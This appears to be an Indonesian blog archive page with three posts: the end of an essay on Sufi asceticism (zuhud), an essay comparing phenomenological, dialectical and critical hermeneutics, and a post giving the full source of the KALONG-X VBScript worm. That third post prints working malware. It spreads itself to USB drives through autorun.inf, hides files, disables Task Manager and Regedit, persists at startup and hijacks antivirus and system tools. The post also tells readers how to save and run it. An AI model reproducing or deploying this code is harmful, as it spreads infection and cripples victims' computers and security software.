Orang yang miskin atau fakir dalam pandangan sufi nantinya akan mendapatkan derajat yang tinggi apabila si fakir tadi rela dan ridha dengan keadaan yang menimpanya. Bahkan nantinya orang fakir itu akan lebih dahulu masuk surga ketimbang orang yang kaya.

Adapun mengenai zuhud, diatas dapat disimpulkan bahwa zuhud itu adalah orang yang mau meninggalkan segala kemewahan dan kesenangan serta mau meninggalkan segala limpahan hartanya karena di khawatirkan bila tidak segera mengucilkan diri menjadikan orang itu lupa dan lalai terhadap kewajiban-kewajibannya dalam menjalankan perintahNya.

Dan juga dikhawatirkan akan bertambah jauh sekali terhadap keyakinannya. Selalu senang dengan hartanya menjadikan orang tersebut lupa segala-galanya.

Oleh karena itu zuhud adalah upaya untuk mencapai derajat yang tinggi dalam menjalani hidup di dunia yang fana’ ini. Hanya dengan zuhud kita akan semakin dekat kepada Allah dan takut akan azab Allah yang sangat pedih.


DAFTAR PUSTAKA

- Al-Qalami, Abu Fajar, Ringkasan IHYA’ ULUMUDDIN (Imam al-Ghazali) Surabaya : Gitamedia Press, 2003

- Al-Taftazani Dr. Abu al-Wafa al-Ghanimi, Sufi dari Zaman ke Zaman, (Bandung : Pustaka), 1977

- Sayyid, Dr.Abdul Fattah, Tasawuf antara Al-Ghazali dan Ibnu Taimiyah, Jakarta : Khalifa, 2005

- Syukur , Prof. Dr. Amin MA, Zuhud di Abad Modern, (Yogyakarta : Pustaka Pelajar), 2000,

- Zuhri, Drs. H. Moh., Dipl, TAFL, Ihya’ Ulumuddin Jilid VIII (Imam Al-Ghazali), Semarang : CV. ASY-SYIFA’, 2003

-

9.16.2008

Ngomong tentang Hermeneutika

Persamaan antara hermeneutik fenomenologis, hermeneutik dialetikal dan hermeneutik kritik ialah dimana Hermeneutik selalu dihubungkan dengan dua aspek yang saling berhubungan, yaitu mediasi dengan tradisi dan pemahaman subjektif terhadap makna tertentu. Dalam artian bahwa bicara tentang hermeneutik baik hermeneutik fenomenologis, dialetikal, dan kritik yaitu tentang intepretasi dan pemahaman terhadap sebuah teks tertulis maupun tidak (tersirat) bahkan manusia termasuk sebuah teks yang perlu dikaji. Kerena dalam kajian hermeneutik keduanya (intepretasi dan pemahaman red) saling berkaitan. Intepretasi hanya dapat dilaksanakan apabila pemahaman dilakukan dengan cermat.
Persamaan lain dari pandangan ketiga aliran hermeneutik ini adalah dimana membedakan objek kajian ilmu menjadi dua yaitu ilmu fisika dan ilmu humaniora yang mana perlu membedakan ilmu untuk menganisis dengan objeknya manusia. Karena ilmu fisika tidak bisa mengkiji tentang manusia sebab manusia berbeda dengan benda lainnya. Misalnya, ketika kita menaruh sebuah benda katakanlah kursi. Meski kursi tersebut dijemur di bawah terik matahari selama beberapa jam, maka tidak sedikitpun kursi itu bergeser dari tempatnya ke tempat yang lebih teduh. Akan tetapi ketika seseorang disuruh berdiri di bawah terik matahari dengan jangka waktu yang cukup lama, maka ia akan mengalami perubahan yaitu pergi mencari tempat yang lebih teduh setidak-tidaknya ia melakukan pergeseran tempat. Maka tidak layak ketika kita mengkaji sebuah objek yang mempunyai suatu perbedaan yang sangat signifikan dengan satu pandang atau dengan memakai metodologi yang sama yaitu ilmu fisika.
Dalam kajian hermeneutik baik fenomenologis, dialetikal, dan kritik pemahaman ini dikaitkan dengan objek yang dikaji baik teks dan penulis pertama (author) baik dari segi kultur maupun psikologisnya. Misalnya Heidegger sendiri melanjutka secara lebih mendasar perbedaan antara ilmu alam dengan ilmu-ilmu humanises/ ilmu-limu sosial yang disebut oleh Delthey. Ciri-ciri benda alami disebut ketegori, sedangkan ciri-ciri keberadaan manusia disebut eksistensial.
Memahami berarti mengarahkan perhatian pada suatu objek, yakni bahasa. Bahasa dapat dipahami sebagai dimensi supraindividual dan dimensi individual. Tugas utama seorang hermeneutik adalah membawa kembali kehandak makna yang menjadi jiwa suatu teks.
Adapun perbedaan ketiga-tiganya ialah pertama dari cara pandang masing-masing tokoh utama dalam melihat sebuah apa yang disebut dengan pemahaman. Misalnya dalam pandangan hermeneutik dealitikal yang dimana perintis utamanya adalah Karl Otto Apel. ia mendefinisikan versetehen tingkah laku manusia sebagai suatu yang dipertentangkan dengan penjelasan berbagai kejadian alam. Apel mengatakan bahwa interpretasi tingkah laku harus dapat dipahami dan diverifikasi secara intersubjektif dalam konteks kehidupan yang merupakan permainan bahasa.
Sehubungan dengan hal itu, lebih jauh Lefevere (1977: 49) menilai bahwa secara keseluruhan hermeneutika dialektik yang dirumuskan Apel sebenarnya cenderung mengintegrasikan berbagai komponen yang tidak berhubungan dengan hermeneutika itu sendiri secara tradisional. Apel tampakanya mencoba memadukan antara penjelasan (erklaren) dan pemahaman (verstehen) ; keduanya harus saling mengimplikasikan dan melengkapi satu sama lain. Ia menyatakan bahwa tidak seorang pun dapat memahami sesuatu (verstehen) tanpa pengetahuan faktual secara potensial.
Dengan demikian, pandangan Apel tersebut sebenarnya mengandung dualitas. Di satu sisi, tidak ada ilmuwan alam yang dapat menjelaskan sesuatu secara potensial. Di sisi lain, sekaligus tidak ada ilmuwan alam yang dapat menjelaskan sesuatu secara potensial tanpa pemahaman intersubjektif. Dalam hal ini teranglah bahwa "penjelasan" dan pemahaman" dibutuhkan, baik pada ilmu-ilmu sosial dan kemanusiaan (geistewissenschaften) maupun ilmu-ilmu alam (naturwissen-shacften). Pandangan Apel itu dapat dinilai sebagai pikiran modern, karena dia mencoa mempertemukan kedua kutub tersebut.
Inti varian hermeneutika dialektik tersebut-yang tidak mempertentangkan "penjelasan" dengan "pemahaman"-sejalan dengan pandangan Valdes. Dalam pandangannya, bagaimana ia menganggap penting "penjelasan" dan "pemahaman" untuk menjelaskan prinsip interpretasi dalam beberapa teori utamanya, yakni teori historis, formalis, hermeneutika filosofis, dan poststrukturalis atau dekonstruks.
Dalam varian hermeneutika dialektik ini, definisi verstehen yang dikemukakan Apel mengimplikasikan pengertian bahwa tidak ada yang tidak dapat dilakukan ilmuwan. Jika ilmuwan mencoba memahami fenomena tertentu, ia akan menghubungkan dengan latar belakang aturan-atuaran yang diverifikasi secara intersubjektif sebagaimana yang dikodifikasi pada hukum-hukum dan teori-teori. Pengalaman laboratorium pun turut mempengaruhi ilmuwan dalam memahami apa saja yang tengah ditelitinya. Dengan demikian, jelaslah bahwa verstehen pada dasarnya berfungsi untuk memahami objek kajiannya.
Berbeda juga dengan aliran hermenutika fenomenologi dalam melihat sebuah pemahaman misalnya Hans-Georg Gadamer. Gadamer tidak lagi memandang konsep verstehen sebagai kosep metodologis, melainkan memandang verstehen sebagai pemahaman yang mengarah pada tingkat ontologis.
Verstehen, menurut Gadamer, merupakan jalan keberadaan kehidupan manusia itu sendiri yang asli. Varian hermeneutika ini menganggap dirinya bebas dari hambatan-hambatan konsep ilmiah yang bersifar ontologis. Dalam hal ini, agaknya Gadamer menolak konsep hemeneutika sebagai metode. Kendatipun menurutnya hermeneutika adalah pemahaman, dia tidak menyatakan bahwa pemahaman itu bersifat metodis. Dalam sudut pandang Gadamer, masalah hermeneutika merupakan masalah aplikasi yang berhenti pada semua verstehen.
Bagi Gadamer sendiri hermeneutika tidak semata-mata bagaimana menafsiri dengan benar, melainkan fenomena menafsiri itu sendiri. Interpretation of interpretation. Menurutnya, hermeneutika teoritis yang menyarankan pengkosongan pembaca dalam menemukan makna obyektif adalah mustahil. Mustahil manusia bisa megosongkan sejarah hidupnya yang dia sebut horizon. Yang mungkin adalah menjadikan horizon pembaca sebagai pijakan dialektika dalam memahami teks. Empat kunci hermeneutika Gadamer: Pertama, kesadaran terhadap "situasi hermeneutik". Pembaca perlu menyadari bahwa situasi ini membatasi kemampuan seseorang dalam membaca teks. Karena itu, pembaca harus bisa mengatasi subyektifitasya sendiri dalam membaca teks dan bersikap toleran terhadap pembaca lain. Kedua, situasi hermeneutika ini kemudian membentuk "pra-pemahaman" pada diri pembaca yang tentu mempengaruhi pembaca dalam mendialogkkan teks dengan konteks. Kendati ini merupakan syarat dalam membaca teks, menurut Gadamer, pembaca harus selalu merevisinya agar pembacaannya terhindar dari kesalahan. Ketiga, pembaca harus menkomuikasian dua horizon, horizon pembaca dan horizon teks, agar ketegangan antara dua horizon yang mungkin berbeda bisa diatasi. Pembaca harus terbuka pada horizon teks dan membiarkan teks memasuki horizon pembaca. Sebab, teks dengan horizonnya pasti mempunyai sesuatu yang akan dikatakan pada pembaca. Interaksi antara dua horizon inilah yang oleh Gadamer disebut "lingkaran hermeneutik". Keempat, langkah selanjutnya adalah menerapkan "makna yang berarti" dari teks, bukan makna obyektif teks.
Aliran hermeneutik yang ketiga ini adalah hermeneutik kritik. Kecurigaan terhadap klaim kebenaran yang berbasis tradisi adalah dasar bagi timbulnya mazhab hermeneutik baru, yaitu hermeneutika kritis Tradisi dan pemahaman bukanlah sesuatu yang netral, tapi didalamnya ada kesadaran palsu, propaganda, manipulasi informasi, pembatasan pengetahuan, sensor dan lainnya. Hermeneutika kritis ini menjadi semacam perangkat bagi kritik ideologi. Tujuannya untuk menyingkapkan sebab terjadinya distorsi dalam pemahaman dan komunikasi yang kelihatan normal dalam interaksi. Diantara tokoh-tokoh hermeneutika kritis adalah Lorenzer, Sandkuhler dan Paul Ricoeur dan Jurgen Habermas.
Hermeneutik, bagi Habermas, adalah kemampuan untuk menguasai “natural language”, yaitu seni memahami makna yang dapat dikomunikasikan secara lingguistik, serta membuatnya dapat dimengerti ketika terjadi distorsi komunikasi. Refleksi hermeneutik mengandung dua makna, pertama memahami sesuatu dan memahami diri. Kedua, meyakinkan dan mempengaruhi orang lain.
Pengalaman hermeneutik mensyaratkan hubungan dua momen, yaitu intersubjektivitas komunikasi sehari-hari yang bersifat tak terbatas sekaligus terbatas. Tak terbatas karena komunikasi selalu dapat diperluas, terbatas karena makna tak diterima sepenuhnya. Karena hal itulah, sifat tersebut membuat kesamaan bahasa komunitas dan juga perbedaan kelas, peradaban dan zaman. Kedua, pengalaman hermeneutik membawa pada kesadaran akan posisi subjek pembicara berhadapan dengan bahasanya. Bagi Habermas, sistem “natural language” itu tidak tertutup, seperti yang dipahami oleh kaum strukturalis, tapi bersifat terbuka. Konsekuensinya, setiap aturan bahasa memungkinkan untuk dikomentari dan dirubah, serta metakomunikasi membuat bahasa dapat dijadikan sebagai sebuah objek. Oleh karena itu, setiap natural language memiliki metalanguage. Dengan demikian, Metalanguage menjadi basis bagi momen refleksi. Sebagaimana penggunaan metapor dalam bahasa. Inilah yang membuat hermeneutik kritik lebih bersifat fungsional daripada hermeneutik fenomenologis dan hermeneutik dialetikal.
...................................................................

ket:
Istilah erklaren ini mula-mula juga diajukan oleh Wilhelm Dilthey sebagai metode yang digunakan untuk mendekati objek ilmu-ilmu alam, yakni menjelaskan suatu kejadian menurut penyebabnya.
Istilah verstehen diajukan oleh Wilhelm Dilthey sebagai metode yang digunakan untuk mendekati produk-produk budaya, yakni menemukan dan memahami makna di dalamnya yang dapat dilakukan dengan menempatkannya dalam konteks.



http://forginanjar.multiply.com/journal/item/5
http://id.wikipedia.org/wiki/Hermeneutika
http://www.angelfire.com/journal/fsulimelight/hermen.html

6.23.2008

Code Virus KALONG-X.VBS

Tahu kah kalian bahwa tidak sulit membuat sebuah virus bahkan orang awampun dapat menciptakannya yaitu dengan memasukkan code-code khusus ke dalam sebuah notepad. Ini adalah contoh script atau code yang digunakan untuk membuat virus KALONG-X.VBS yang lebih hebat dari Kalong.VBS. Sebenarnya ini varian ketiga. Sebenarnya virus ini sama saja dengan Kalong.VBS namun ditambahkan kemampuan manipulasi registry yang lebih mengerikan. Ini saya ambil dari : putuyoga. Semoga saja dengan mengetahui code-code yang digunakan untuk membuat virus ini dapat menambah penegtahuan kita untuk mudah mengatasinya jika menyarang komputer kita. Inilah codenya:

‘Kalong-X
‘Varian dari Kalong.VBS
on error resume next

‘Dim kata-kata berikut
dim rekur,windowpath,desades,fs,mf,isi,tf,kalong,nt,check,sd

’siapkan isi autorun
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6ms32.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘buat file induk
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs “)
tf.attributes = 32
set tf = fs.createtextfile(windowpath & “\k4l0n6-x.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs”)
tf.attributes = 39

’sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in fs.drives

If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then

set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(desades.path &”\k4l0n6ms32.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes = 39

set tf =fs.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘Manipulasi Registry
set kalong = createobject(”WScript.Shell”)

‘Ubah IE Title
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: ->KALONG-X<- ::”

‘File Hidden tak terlihat
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”

‘Blokir Find, FolderOptions, Run, Regedit, Task Manager, dan klik kanan
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘Buat pesan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “THE KALONG-X”
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,”No reason for Panic”

‘Aktifkan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs”

‘Alihkan aplikasi berikut. Jika dibuka maka program terbuka dengan Notepad
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”notepad.exe”

‘Bonus
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname

Setelah menempatkan kode tersebut klik FILE > SAVE. Di File Type pilih ALL FILES (*.*) lalu simpan dengan nama k4l0n6ms32.dll.vbs. Setelah itu coba Anda jalankan. Dan ya, Anda telah menjalankan KALONG-X.VBS di komputer Anda.
Jika Anda membuka aplikasi yang bernama : cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, dan PCMAV-RTP.exe maka akan terbuka Notepad yang isinya kurang lebih mirip seperti ini :

Di sini saya hanya mencoba memberi sebuah pengetahuan tentang code-code untuk membuat sebuah viru KALONG-X.VBS bukan mengajariyang tidak-tidak.
Ingat virus ini punya kemampuan Autorun jadi komputer yang dicolokkan Removable Disc (Mislanya Flash Disc) yang terinfeksi virus ini akan diinfeksi pula (jika Autorun tidak di non-aktifkan). Ada juga code untuk menghilangkan virus ini kli saja di sini

Kibod Arabi

Dapatkan Free Graph Quotes